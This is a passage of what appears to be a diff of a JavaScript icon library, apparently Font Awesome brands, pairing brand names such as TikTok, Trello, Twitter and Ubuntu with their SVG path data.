13.9-46.5 16l.5 1.2a50.22 50.22 0 0 0 24.8-2.5l-7.1 13c4.2-1.7 10.1-7.1 17.7-14.8 11.9-5.5 12.7-5.1 20.2-16-12.7-6.4-15.7-13.7-18.4-18.8zm3.7-102.3c-6.4-3.4-10.6 3-12.3 18.9s2.5 29.5 11.8 39.6 18.2 10.6 26.1 3 3.4-23.6-11.3-47.7a39.57 39.57 0 0 0-14.27-13.8zm-4.7 46.3c5.4 2.2 10.5 1.9 12.3-10.6v-4.7l-1.2.5c-4.3-3.1-2.5-4.5-1.7-6.2l.5-.5c-.9-1.2-5-8.1-12.5 4.7-.5-13.5.5-21.9 3-24.8 1.2-2.5 4.7-1.2 11.3 4.2 6.4 5.4 11.3 16 15.2 32.5 6.5 28-19.8 26.2-26.9 4.9zm-45-5.5c1.6.3 9.3-1.1 9.3-14.8h-.5c-5.4-1.1-2.2-5.5-.7-5.9-1.7-3-3.4-4.2-5.4-4.7-8.1 0-11.6 12.7-8.1 21.2a7.51 7.51 0 0 0 5.43 4.2zM216 82.9l-2.5.5.5 3a48.94 48.94 0 0 1 26.1 5.9c-2.5-5.5-10-14.3-28.3-14.3l.5 2.5zm-71.8 49.4c21.7 16.8 16.5 21.4 46.5 23.6l-2.9-4.7a42.67 42.67 0 0 0 14.8-28.3c1.7-16-1.2-29.5-8.8-41.3l13-7.6a2.26 2.26 0 0 0-.5-1.7 14.21 14.21 0 0 0-13.5 1.7c-12.7 6.7-28 20.9-29 22.4-1.7 1.7-3.4 5.9-5.4 13.5a99.61 99.61 0 0 0-2.9 23.6c-4.7-8-10.5-6.4-19.9-5.9l7.1 7.6c-16.5 0-23.3 15.4-23.6 16 6.8 0 4.6-7.6 30-12.3-4.3-6.3-3.3-5-4.9-6.6zm18.7-18.7c1.2-7.6 3.4-13 6.4-17.2 5.4-6.4 10.6-10.1 16-11.8 4.2-1.7 7.1 1.2 10.1 9.3a72.14 72.14 0 0 1 3 25.3c-.5 9.3-3.4 17.2-8.4 23.1-2.9 3.4-5.4 5.9-6.4 7.6a39.21 39.21 0 0 1-11.3-.5l-7.1-3.4-5.4-6.4c.8-10 1.3-18.8 3.1-26zm42 56.1c-34.8 14.4-34.7 14-36.1 14.3-20.8 4.7-19-24.4-18.9-24.8l5.9-1.2-.5-2.5c-20.2-2.6-31 4.2-32.5 4.9.5.5 3 3.4 5.9 9.3 4.2-6.4 8.8-10.1 15.2-10.6a83.47 83.47 0 0 0 1.7 33.7c.1.5 2.6 17.4 27.5 24.1 11.3 3 27 1.2 48.9-5.4l-9.2.5c-4.2-14.8-6.4-24.8-5.9-29.5 11.3-8.8 21.9-11.3 30.7-7.6h2.5l-11.8-7.6-7.1.5c-5.9 1.2-12.3 4.2-19.4 8.4z" ], + themeco: [ 448, 512, [], "f5c6", "M202.9 8.43c9.9-5.73 26-5.82 35.95-.21L430 115.85c10 5.6 18 19.44 18 30.86V364c0 11.44-8.06 25.29-18 31L238.81 503.74c-9.93 5.66-26 5.57-35.85-.21L17.86 395.12C8 389.34 0 375.38 0 364V146.71c0-11.44 8-25.36 17.91-31.08zm-77.4 199.83c-15.94 0-31.89.14-47.83.14v101.45H96.8V280h28.7c49.71 0 49.56-71.74 0-71.74zm140.14 100.29l-30.73-34.64c37-7.51 34.8-65.23-10.87-65.51-16.09 0-32.17-.14-48.26-.14v101.59h19.13v-33.91h18.41l29.56 33.91h22.76zm-41.59-82.32c23.34 0 23.26 32.46 0 32.46h-29.13v-32.46zm-95.56-1.6c21.18 0 21.11 38.85 0 38.85H96.18v-38.84zm192.65-18.25c-68.46 0-71 105.8 0 105.8 69.48-.01 69.41-105.8 0-105.8zm0 17.39c44.12 0 44.8 70.86 0 70.86s-44.43-70.86 0-70.86z" ], + themeisle: [ 512, 512, [], "f2b2", "M208 88.286c0-10 6.286-21.714 17.715-21.714 11.142 0 17.714 11.714 17.714 21.714 0 10.285-6.572 21.714-17.714 21.714C214.286 110 208 98.571 208 88.286zm304 160c0 36.001-11.429 102.286-36.286 129.714-22.858 24.858-87.428 61.143-120.857 70.572l-1.143.286v32.571c0 16.286-12.572 30.571-29.143 30.571-10 0-19.429-5.714-24.572-14.286-5.427 8.572-14.856 14.286-24.856 14.286-10 0-19.429-5.714-24.858-14.286-5.142 8.572-14.571 14.286-24.57 14.286-10.286 0-19.429-5.714-24.858-14.286-5.143 8.572-14.571 14.286-24.571 14.286-18.857 0-29.429-15.714-29.429-32.857-16.286 12.285-35.715 19.428-56.571 19.428-22 0-43.429-8.285-60.286-22.857 10.285-.286 20.571-2.286 30.285-5.714-20.857-5.714-39.428-18.857-52-36.286 21.37 4.645 46.209 1.673 67.143-11.143-22-22-56.571-58.857-68.572-87.428C1.143 321.714 0 303.714 0 289.429c0-49.714 20.286-160 86.286-160 10.571 0 18.857 4.858 23.143 14.857a158.792 158.792 0 0 1 12-15.428c2-2.572 5.714-5.429 7.143-8.286 7.999-12.571 11.714-21.142 21.714-34C182.571 45.428 232 17.143 285.143 17.143c6 0 12 .285 17.714 1.143C313.714 6.571 328.857 0 344.572 0c14.571 0 29.714 6 40 16.286.857.858 1.428 2.286 1.428 3.428 0 3.714-10.285 13.429-12.857 16.286 4.286 1.429 15.714 6.858 15.714 12 0 2.857-2.857 5.143-4.571 7.143 31.429 27.714 49.429 67.143 56.286 108 4.286-5.143 10.285-8.572 17.143-8.572 10.571 0 20.857 7.144 28.571 14.001C507.143 187.143 512 221.714 512 248.286zM188 89.428c0 18.286 12.571 37.143 32.286 37.143 19.714 0 32.285-18.857 32.285-37.143 0-18-12.571-36.857-32.285-36.857-19.715 0-32.286 18.858-32.286 36.857zM237.714 194c0-19.714 3.714-39.143 8.571-58.286-52.039 79.534-13.531 184.571 68.858 184.571 21.428 0 42.571-7.714 60-20 2-7.429 3.714-14.857 3.714-22.572 0-14.286-6.286-21.428-20.572-21.428-4.571 0-9.143.857-13.429 1.714-63.343 12.668-107.142 3.669-107.142-63.999zm-41.142 254.858c0-11.143-8.858-20.857-20.286-20.857-11.429 0-20 9.715-20 20.857v32.571c0 11.143 8.571 21.142 20 21.142 11.428 0 20.286-9.715 20.286-21.142v-32.571zm49.143 0c0-11.143-8.572-20.857-20-20.857-11.429 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.857 21.142 20.286 21.142 11.428 0 20-10 20-21.142v-32.571zm49.713 0c0-11.143-8.857-20.857-20.285-20.857-11.429 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.857 21.142 20.286 21.142 11.428 0 20.285-9.715 20.285-21.142v-32.571zm49.715 0c0-11.143-8.857-20.857-20.286-20.857-11.428 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.858 21.142 20.286 21.142 11.429 0 20.286-10 20.286-21.142v-32.571zM421.714 286c-30.857 59.142-90.285 102.572-158.571 102.572-96.571 0-160.571-84.572-160.571-176.572 0-16.857 2-33.429 6-49.714-20 33.715-29.714 72.572-29.714 111.429 0 60.286 24.857 121.715 71.429 160.857 5.143-9.714 14.857-16.286 26-16.286 10 0 19.428 5.714 24.571 14.286 5.429-8.571 14.571-14.286 24.858-14.286 10 0 19.428 5.714 24.571 14.286 5.429-8.571 14.857-14.286 24.858-14.286 10 0 19.428 5.714 24.857 14.286 5.143-8.571 14.571-14.286 24.572-14.286 10.857 0 20.857 6.572 25.714 16 43.427-36.286 68.569-92 71.426-148.286zm10.572-99.714c0-53.714-34.571-105.714-92.572-105.714-30.285 0-58.571 15.143-78.857 36.857C240.862 183.812 233.41 254 302.286 254c28.805 0 97.357-28.538 84.286 36.857 28.857-26 45.714-65.714 45.714-104.571z" ], + "think-peaks": [ 576, 512, [], "f731", "M465.4 409.4l87.1-150.2-32-.3-55.1 95L259.2 0 23 407.4l32 .3L259.2 55.6zm-355.3-44.1h32.1l117.4-202.5L463 511.9l32.5.1-235.8-404.6z" ], + tiktok: [ 448, 512, [], "e07b", "M448,209.91a210.06,210.06,0,0,1-122.77-39.25V349.38A162.55,162.55,0,1,1,185,188.31V278.2a74.62,74.62,0,1,0,52.23,71.18V0l88,0a121.18,121.18,0,0,0,1.86,22.17h0A122.18,122.18,0,0,0,381,102.39a121.43,121.43,0,0,0,67,20.14Z" ], + "trade-federation": [ 496, 512, [], "f513", "M248 8.8c-137 0-248 111-248 248s111 248 248 248 248-111 248-248-111-248-248-248zm0 482.8c-129.7 0-234.8-105.1-234.8-234.8S118.3 22 248 22s234.8 105.1 234.8 234.8S377.7 491.6 248 491.6zm155.1-328.5v-46.8H209.3V198H54.2l36.7 46h117.7v196.8h48.8V245h83.3v-47h-83.3v-34.8h145.7zm-73.3 45.1v23.9h-82.9v197.4h-26.8V232.1H96.3l-20.1-23.9h143.9v-80.6h171.8V152h-145v56.2zm-161.3-69l-12.4-20.7 2.1 23.8-23.5 5.4 23.3 5.4-2.1 24 12.3-20.5 22.2 9.5-15.7-18.1 15.8-18.1zm-29.6-19.7l9.3-11.5-12.7 5.9-8-12.4 1.7 13.9-14.3 3.8 13.7 2.7-.8 14.7 6.8-12.2 13.8 5.3zm165.4 145.2l-13.1 5.6-7.3-12.2 1.3 14.2-13.9 3.2 13.9 3.2-1.2 14.2 7.3-12.2 13.1 5.5-9.4-10.7zm106.9-77.2l-20.9 9.1-12-19.6 2.2 22.7-22.3 5.4 22.2 4.9-1.8 22.9 11.5-19.6 21.2 8.8-15.1-17zM248 29.9c-125.3 0-226.9 101.6-226.9 226.9S122.7 483.7 248 483.7s226.9-101.6 226.9-226.9S373.3 29.9 248 29.9zM342.6 196v51h-83.3v195.7h-52.7V245.9H89.9l-40-49.9h157.4v-81.6h197.8v50.7H259.4V196zM248 43.2c60.3 0 114.8 25 153.6 65.2H202.5V190H45.1C73.1 104.8 153.4 43.2 248 43.2zm0 427.1c-117.9 0-213.6-95.6-213.6-213.5 0-21.2 3.1-41.8 8.9-61.1L87.1 252h114.7v196.8h64.6V253h83.3v-62.7h-83.2v-19.2h145.6v-50.8c30.8 37 49.3 84.6 49.3 136.5.1 117.9-95.5 213.5-213.4 213.5zM178.8 275l-11-21.4 1.7 24.5-23.7 3.9 23.8 5.9-3.7 23.8 13-20.9 21.5 10.8-15.8-18.8 16.9-17.1z" ], + trello: [ 448, 512, [], "f181", "M392.3 32H56.1C25.1 32 0 57.1 0 88c-.1 0 0-4 0 336 0 30.9 25.1 56 56 56h336.2c30.8-.2 55.7-25.2 55.7-56V88c.1-30.8-24.8-55.8-55.6-56zM197 371.3c-.2 14.7-12.1 26.6-26.9 26.6H87.4c-14.8.1-26.9-11.8-27-26.6V117.1c0-14.8 12-26.9 26.9-26.9h82.9c14.8 0 26.9 12 26.9 26.9v254.2zm193.1-112c0 14.8-12 26.9-26.9 26.9h-81c-14.8 0-26.9-12-26.9-26.9V117.2c0-14.8 12-26.9 26.8-26.9h81.1c14.8 0 26.9 12 26.9 26.9v142.1z" ], + tumblr: [ 320, 512, [], "f173", "M309.8 480.3c-13.6 14.5-50 31.7-97.4 31.7-120.8 0-147-88.8-147-140.6v-144H17.9c-5.5 0-10-4.5-10-10v-68c0-7.2 4.5-13.6 11.3-16 62-21.8 81.5-76 84.3-117.1.8-11 6.5-16.3 16.1-16.3h70.9c5.5 0 10 4.5 10 10v115.2h83c5.5 0 10 4.4 10 9.9v81.7c0 5.5-4.5 10-10 10h-83.4V360c0 34.2 23.7 53.6 68 35.8 4.8-1.9 9-3.2 12.7-2.2 3.5.9 5.8 3.4 7.4 7.9l22 64.3c1.8 5 3.3 10.6-.4 14.5z" ], + "tumblr-square": [ 448, 512, [], "f174", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-82.3 364.2c-8.5 9.1-31.2 19.8-60.9 19.8-75.5 0-91.9-55.5-91.9-87.9v-90h-29.7c-3.4 0-6.2-2.8-6.2-6.2v-42.5c0-4.5 2.8-8.5 7.1-10 38.8-13.7 50.9-47.5 52.7-73.2.5-6.9 4.1-10.2 10-10.2h44.3c3.4 0 6.2 2.8 6.2 6.2v72h51.9c3.4 0 6.2 2.8 6.2 6.2v51.1c0 3.4-2.8 6.2-6.2 6.2h-52.1V321c0 21.4 14.8 33.5 42.5 22.4 3-1.2 5.6-2 8-1.4 2.2.5 3.6 2.1 4.6 4.9l13.8 40.2c1 3.2 2 6.7-.3 9.1z" ], + twitch: [ 512, 512, [], "f1e8", "M391.17,103.47H352.54v109.7h38.63ZM285,103H246.37V212.75H285ZM120.83,0,24.31,91.42V420.58H140.14V512l96.53-91.42h77.25L487.69,256V0ZM449.07,237.75l-77.22,73.12H294.61l-67.6,64v-64H140.14V36.58H449.07Z" ], + twitter: [ 512, 512, [], "f099", "M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253z" ], + "twitter-square": [ 448, 512, [], "f081", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-48.9 158.8c.2 2.8.2 5.7.2 8.5 0 86.7-66 186.6-186.6 186.6-37.2 0-71.7-10.8-100.7-29.4 5.3.6 10.4.8 15.8.8 30.7 0 58.9-10.4 81.4-28-28.8-.6-53-19.5-61.3-45.5 10.1 1.5 19.2 1.5 29.6-1.2-30-6.1-52.5-32.5-52.5-64.4v-.8c8.7 4.9 18.9 7.9 29.6 8.3a65.447 65.447 0 0 1-29.2-54.6c0-12.2 3.2-23.4 8.9-33.1 32.3 39.8 80.8 65.8 135.2 68.6-9.3-44.5 24-80.6 64-80.6 18.9 0 35.9 7.9 47.9 20.7 14.8-2.8 29-8.3 41.6-15.8-4.9 15.2-15.2 28-28.8 36.1 13.2-1.4 26-5.1 37.8-10.2-8.9 13.1-20.1 24.7-32.9 34z" ], + typo3: [ 448, 512, [], "f42b", "M178.7 78.4c0-24.7 5.4-32.4 13.9-39.4-69.5 8.5-149.3 34-176.3 66.4-5.4 7.7-9.3 20.8-9.3 37.1C7 246 113.8 480 191.1 480c36.3 0 97.3-59.5 146.7-139-7 2.3-11.6 2.3-18.5 2.3-57.2 0-140.6-198.5-140.6-264.9zM301.5 32c-30.1 0-41.7 5.4-41.7 36.3 0 66.4 53.8 198.5 101.7 198.5 26.3 0 78.8-99.7 78.8-182.3 0-40.9-67-52.5-138.8-52.5z" ], + uber: [ 448, 512, [], "f402", "M414.1 32H33.9C15.2 32 0 47.2 0 65.9V446c0 18.8 15.2 34 33.9 34H414c18.7 0 33.9-15.2 33.9-33.9V65.9C448 47.2 432.8 32 414.1 32zM237.6 391.1C163 398.6 96.4 344.2 88.9 269.6h94.4V290c0 3.7 3 6.8 6.8 6.8H258c3.7 0 6.8-3 6.8-6.8v-67.9c0-3.7-3-6.8-6.8-6.8h-67.9c-3.7 0-6.8 3-6.8 6.8v20.4H88.9c7-69.4 65.4-122.2 135.1-122.2 69.7 0 128.1 52.8 135.1 122.2 7.5 74.5-46.9 141.1-121.5 148.6z" ], + ubuntu: [ 496, 512, [], "f7df", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm52.7 93c8.8-15.2 28.3-20.5 43.5-11.7 15.3 8.8 20.5 28.3 11.7 43.6-8.8 15.2-28.3 20.5-43.5 11.7-15.3-8.9-20.5-28.4-11.7-43.6zM87.4 287.9c-17.6 0-31.9-14.3-31.9-31.9 0-17.6 14.3-31.9 31.9-31.9 17.6 0 31.9 14.3 31.9 31.9 0 17.6-14.3 31.9-31.9 31.9zm28.1 3.1c22.3-17.9 22.4-51.9 0-69.9 8.6-32.8 29.1-60.7 56.5-79.1l23.7 39.6c-51.5 36.3-51.5 112.5 0 148.8L172 370c-27.4-18.3-47.8-46.3-56.5-79zm228.7 131.7c-15.3 8.8-34.7 3.6-43.5-11.7-8.8-15.3-3.6-34.8 11.7-43.6 15.2-8.8 34.7-3.6 43.5 11.7 8.8 15.3 3.6 34.8-11.7 43.6zm.3-69.5c-26.7-10.3-56.1 6.6-60.5 35-5.2 1.4-48.9 14.3-96.7-9.4l22.5-40.3c57 26.5 123.4-11.7 128.9-74.4l46.1.7c-2.3 34.5-17.3 65.5-40.3 88.4zm-5.9-105.3c-5.4-62-71.3-101.2-128.9-74.4l-22.5-40.3c47.9-23.7 91.5-10.8 96.7-9.4 4.4 28.3 33.8 45.3 60.5 35 23.1 22.9 38 53.9 40.2 88.5l-46 .6z" ], + uikit: [ 448, 512, [], "f403", "M443.9 128v256L218 512 0 384V169.7l87.6 45.1v117l133.5 75.5 135.8-75.5v-151l-101.1-57.6 87.6-53.1L443.9 128zM308.6 49.1L223.8 0l-88.6 54.8 86 47.3 87.4-53z" ], + umbraco: [ 510, 512, [], "f8e8", "M255.35 8C118.36 7.83 7.14 118.72 7 255.68c-.07 137 111 248.2 248 248.27 136.85 0 247.82-110.7 248-247.67S392.34 8.17 255.35 8zm145 266q-1.14 40.68-14 65t-43.51 35q-30.61 10.7-85.45 10.47h-4.6q-54.78.22-85.44-10.47t-43.52-35q-12.85-24.36-14-65a224.81 224.81 0 0 1 0-30.71 418.37 418.37 0 0 1 3.6-43.88c1.88-13.39 3.57-22.58 5.4-32 1-4.88 1.28-6.42 1.82-8.45a5.09 5.09 0 0 1 4.9-3.89h.69l32 5a5.07 5.07 0 0 1 4.16 5 5 5 0 0 1 0 .77l-1.7 8.78q-2.41 13.25-4.84 33.68a380.62 380.62 0 0 0-2.64 42.15q-.28 40.43 8.13 59.83a43.87 43.87 0 0 0 31.31 25.18A243 243 0 0 0 250 340.6h10.25a242.64 242.64 0 0 0 57.27-5.16 43.86 43.86 0 0 0 31.15-25.23q8.53-19.42 8.13-59.78a388 388 0 0 0-2.6-42.15q-2.48-20.38-4.89-33.68l-1.69-8.78a5 5 0 0 1 0-.77 5 5 0 0 1 4.2-5l32-5h.82a5 5 0 0 1 4.9 3.89c.55 2.05.81 3.57 1.83 8.45 1.82 9.62 3.52 18.78 5.39 32a415.71 415.71 0 0 1 3.61 43.88 228.06 228.06 0 0 1-.04 30.73z" ], + uncharted: [ 448, 512, [], "e084", "M171.73,232.813A5.381,5.381,0,0,0,176.7,229.5,48.081,48.081,0,0,1,191.6,204.244c1.243-.828,1.657-2.484,1.657-4.141a4.22,4.22,0,0,0-2.071-3.312L74.429,128.473,148.958,85a9.941,9.941,0,0,0,4.968-8.281,9.108,9.108,0,0,0-4.968-8.281L126.6,55.6a9.748,9.748,0,0,0-9.523,0l-100.2,57.966a9.943,9.943,0,0,0-4.969,8.281V236.954a9.109,9.109,0,0,0,4.969,8.281L39.235,258.07a8.829,8.829,0,0,0,4.968,1.242,9.4,9.4,0,0,0,6.625-2.484,10.8,10.8,0,0,0,2.9-7.039V164.5L169.66,232.4A4.5,4.5,0,0,0,171.73,232.813ZM323.272,377.73a12.478,12.478,0,0,0-4.969,1.242l-74.528,43.062V287.882c0-2.9-2.9-5.8-6.211-4.555a53.036,53.036,0,0,1-28.984.414,4.86,4.86,0,0,0-6.21,4.555V421.619l-74.529-43.061a8.83,8.83,0,0,0-4.969-1.242,9.631,9.631,0,0,0-9.523,9.523v26.085a9.107,9.107,0,0,0,4.969,8.281l100.2,57.553A8.829,8.829,0,0,0,223.486,480a11.027,11.027,0,0,0,4.969-1.242l100.2-57.553a9.941,9.941,0,0,0,4.968-8.281V386.839C332.8,382.285,328.24,377.73,323.272,377.73ZM286.007,78a23,23,0,1,0-23-23A23,23,0,0,0,286.007,78Zm63.627-10.086a23,23,0,1,0,23,23A23,23,0,0,0,349.634,67.914ZM412.816,151.6a23,23,0,1,0-23-23A23,23,0,0,0,412.816,151.6Zm-63.182-9.2a23,23,0,1,0,23,23A23,23,0,0,0,349.634,142.4Zm-63.627,83.244a23,23,0,1,0-23-23A23,23,0,0,0,286.007,225.648Zm-62.074,36.358a23,23,0,1,0-23-23A23,23,0,0,0,223.933,262.006Zm188.883-82.358a23,23,0,1,0,23,23A23,23,0,0,0,412.816,179.648Zm0,72.272a23,23,0,1,0,23,23A23,23,0,0,0,412.816,251.92Z" ], + uniregistry: [ 384, 512, [], "f404", "M192 480c39.5 0 76.2-11.8 106.8-32.2H85.3C115.8 468.2 152.5 480 192 480zm-89.1-193.1v-12.4H0v12.4c0 2.5 0 5 .1 7.4h103.1c-.2-2.4-.3-4.9-.3-7.4zm20.5 57H8.5c2.6 8.5 5.8 16.8 9.6 24.8h138.3c-12.9-5.7-24.1-14.2-33-24.8zm-17.7-34.7H1.3c.9 7.6 2.2 15 3.9 22.3h109.7c-4-6.9-7.2-14.4-9.2-22.3zm-2.8-69.3H0v17.3h102.9zm0-173.2H0v4.9h102.9zm0-34.7H0v2.5h102.9zm0 69.3H0v7.4h102.9zm0 104H0v14.8h102.9zm0-69.3H0v9.9h102.9zm0 34.6H0V183h102.9zm166.2 160.9h109.7c1.8-7.3 3.1-14.7 3.9-22.3H278.3c-2.1 7.9-5.2 15.4-9.2 22.3zm12-185.7H384V136H281.1zm0 37.2H384v-12.4H281.1zm0-74.3H384v-7.4H281.1zm0-76.7v2.5H384V32zm-203 410.9h227.7c11.8-8.7 22.7-18.6 32.2-29.7H44.9c9.6 11 21.4 21 33.2 29.7zm203-371.3H384v-4.9H281.1zm0 148.5H384v-14.8H281.1zM38.8 405.7h305.3c6.7-8.5 12.6-17.6 17.8-27.2H23c5.2 9.6 9.2 18.7 15.8 27.2zm188.8-37.1H367c3.7-8 5.8-16.2 8.5-24.8h-115c-8.8 10.7-20.1 19.2-32.9 24.8zm53.5-81.7c0 2.5-.1 5-.4 7.4h103.1c.1-2.5.2-4.9.2-7.4v-12.4H281.1zm0-29.7H384v-17.3H281.1z" ], + unity: [ 576, 512, [], "e049", "M498.11,206.4,445.31,14.72,248.2,66.08,219,116.14l-59.2-.43L15.54,256,159.82,396.32l59.17-.43,29.24,50,197.08,51.36,52.8-191.62-30-49.63ZM223.77,124.2,374.55,86.51,288,232.33H114.87Zm0,263.63L114.87,279.71H288l86.55,145.81Zm193,14L330.17,256l86.58-145.84L458.56,256Z" ], + unsplash: [ 448, 512, [], "e07c", "M448,230.17V480H0V230.17H141.13V355.09H306.87V230.17ZM306.87,32H141.13V156.91H306.87Z" ], + untappd: [ 640, 512, [], "f405", "M401.3 49.9c-79.8 160.1-84.6 152.5-87.9 173.2l-5.2 32.8c-1.9 12-6.6 23.5-13.7 33.4L145.6 497.1c-7.6 10.6-20.4 16.2-33.4 14.6-40.3-5-77.8-32.2-95.3-68.5-5.7-11.8-4.5-25.8 3.1-36.4l148.9-207.9c7.1-9.9 16.4-18 27.2-23.7l29.3-15.5c18.5-9.8 9.7-11.9 135.6-138.9 1-4.8 1-7.3 3.6-8 3-.7 6.6-1 6.3-4.6l-.4-4.6c-.2-1.9 1.3-3.6 3.2-3.6 4.5-.1 13.2 1.2 25.6 10 12.3 8.9 16.4 16.8 17.7 21.1.6 1.8-.6 3.7-2.4 4.2l-4.5 1.1c-3.4.9-2.5 4.4-2.3 7.4.1 2.8-2.3 3.6-6.5 6.1zM230.1 36.4c3.4.9 2.5 4.4 2.3 7.4-.2 2.7 2.1 3.5 6.4 6 7.9 15.9 15.3 30.5 22.2 44 .7 1.3 2.3 1.5 3.3.5 11.2-12 24.6-26.2 40.5-42.6 1.3-1.4 1.4-3.5.1-4.9-8-8.2-16.5-16.9-25.6-26.1-1-4.7-1-7.3-3.6-8-3-.8-6.6-1-6.3-4.6.3-3.3 1.4-8.1-2.8-8.2-4.5-.1-13.2 1.1-25.6 10-12.3 8.9-16.4 16.8-17.7 21.1-1.4 4.2 3.6 4.6 6.8 5.4zM620 406.7L471.2 198.8c-13.2-18.5-26.6-23.4-56.4-39.1-11.2-5.9-14.2-10.9-30.5-28.9-1-1.1-2.9-.9-3.6.5-46.3 88.8-47.1 82.8-49 94.8-1.7 10.7-1.3 20 .3 29.8 1.9 12 6.6 23.5 13.7 33.4l148.9 207.9c7.6 10.6 20.2 16.2 33.1 14.7 40.3-4.9 78-32 95.7-68.6 5.4-11.9 4.3-25.9-3.4-36.6z" ], + ups: [ 384, 512, [], "f7e0", "M103.2 303c-5.2 3.6-32.6 13.1-32.6-19V180H37.9v102.6c0 74.9 80.2 51.1 97.9 39V180h-32.6zM4 74.82v220.9c0 103.7 74.9 135.2 187.7 184.1 112.4-48.9 187.7-80.2 187.7-184.1V74.82c-116.3-61.6-281.8-49.6-375.4 0zm358.1 220.9c0 86.6-53.2 113.6-170.4 165.3-117.5-51.8-170.5-78.7-170.5-165.3v-126.4c102.3-93.8 231.6-100 340.9-89.8zm-209.6-107.4v212.8h32.7v-68.7c24.4 7.3 71.7-2.6 71.7-78.5 0-97.4-80.7-80.92-104.4-65.6zm32.7 117.3v-100.3c8.4-4.2 38.4-12.7 38.4 49.3 0 67.9-36.4 51.8-38.4 51zm79.1-86.4c.1 47.3 51.6 42.5 52.2 70.4.6 23.5-30.4 23-50.8 4.9v30.1c36.2 21.5 81.9 8.1 83.2-33.5 1.7-51.5-54.1-46.6-53.4-73.2.6-20.3 30.6-20.5 48.5-2.2v-28.4c-28.5-22-79.9-9.2-79.7 31.9z" ], + usb: [ 640, 512, [], "f287", "M641.5 256c0 3.1-1.7 6.1-4.5 7.5L547.9 317c-1.4.8-2.8 1.4-4.5 1.4-1.4 0-3.1-.3-4.5-1.1-2.8-1.7-4.5-4.5-4.5-7.8v-35.6H295.7c25.3 39.6 40.5 106.9 69.6 106.9H392V354c0-5 3.9-8.9 8.9-8.9H490c5 0 8.9 3.9 8.9 8.9v89.1c0 5-3.9 8.9-8.9 8.9h-89.1c-5 0-8.9-3.9-8.9-8.9v-26.7h-26.7c-75.4 0-81.1-142.5-124.7-142.5H140.3c-8.1 30.6-35.9 53.5-69 53.5C32 327.3 0 295.3 0 256s32-71.3 71.3-71.3c33.1 0 61 22.8 69 53.5 39.1 0 43.9 9.5 74.6-60.4C255 88.7 273 95.7 323.8 95.7c7.5-20.9 27-35.6 50.4-35.6 29.5 0 53.5 23.9 53.5 53.5s-23.9 53.5-53.5 53.5c-23.4 0-42.9-14.8-50.4-35.6H294c-29.1 0-44.3 67.4-69.6 106.9h310.1v-35.6c0-3.3 1.7-6.1 4.5-7.8 2.8-1.7 6.4-1.4 8.9.3l89.1 53.5c2.8 1.1 4.5 4.1 4.5 7.2z" ], + usps: [ 576, 512, [], "f7e1", "M460.3 241.7c25.8-41.3 15.2-48.8-11.7-48.8h-27c-.1 0-1.5-1.4-10.9 8-11.2 5.6-37.9 6.3-37.9 8.7 0 4.5 70.3-3.1 88.1 0 9.5 1.5-1.5 20.4-4.4 32-.5 4.5 2.4 2.3 3.8.1zm-112.1 22.6c64-21.3 97.3-23.9 102-26.2 4.4-2.9-4.4-6.6-26.2-5.8-51.7 2.2-137.6 37.1-172.6 53.9l-30.7-93.3h196.6c-2.7-28.2-152.9-22.6-337.9-22.6L27 415.8c196.4-97.3 258.9-130.3 321.2-151.5zM94.7 96c253.3 53.7 330 65.7 332.1 85.2 36.4 0 45.9 0 52.4 6.6 21.1 19.7-14.6 67.7-14.6 67.7-4.4 2.9-406.4 160.2-406.4 160.2h423.1L549 96z" ], + ussunnah: [ 512, 512, [], "f407", "M156.8 285.1l5.7 14.4h-8.2c-1.3-3.2-3.1-7.7-3.8-9.5-2.5-6.3-1.1-8.4 0-10 1.9-2.7 3.2-4.4 3.6-5.2 0 2.2.8 5.7 2.7 10.3zm297.3 18.8c-2.1 13.8-5.7 27.1-10.5 39.7l43 23.4-44.8-18.8c-5.3 13.2-12 25.6-19.9 37.2l34.2 30.2-36.8-26.4c-8.4 11.8-18 22.6-28.7 32.3l24.9 34.7-28.1-31.8c-11 9.6-23.1 18-36.1 25.1l15.7 37.2-19.3-35.3c-13.1 6.8-27 12.1-41.6 15.9l6.7 38.4-10.5-37.4c-14.3 3.4-29.2 5.3-44.5 5.4L256 512l-1.9-38.4c-15.3-.1-30.2-2-44.5-5.3L199 505.6l6.7-38.2c-14.6-3.7-28.6-9.1-41.7-15.8l-19.2 35.1 15.6-37c-13-7-25.2-15.4-36.2-25.1l-27.9 31.6 24.7-34.4c-10.7-9.7-20.4-20.5-28.8-32.3l-36.5 26.2 33.9-29.9c-7.9-11.6-14.6-24.1-20-37.3l-44.4 18.7L67.8 344c-4.8-12.7-8.4-26.1-10.5-39.9l-51 9 50.3-14.2c-1.1-8.5-1.7-17.1-1.7-25.9 0-4.7.2-9.4.5-14.1L0 256l56-2.8c1.3-13.1 3.8-25.8 7.5-38.1L6.4 199l58.9 10.4c4-12 9.1-23.5 15.2-34.4l-55.1-30 58.3 24.6C90 159 97.2 149.2 105.3 140L55.8 96.4l53.9 38.7c8.1-8.6 17-16.5 26.6-23.6l-40-55.6 45.6 51.6c9.5-6.6 19.7-12.3 30.3-17.2l-27.3-64.9 33.8 62.1c10.5-4.4 21.4-7.9 32.7-10.4L199 6.4l19.5 69.2c11-2.1 22.3-3.2 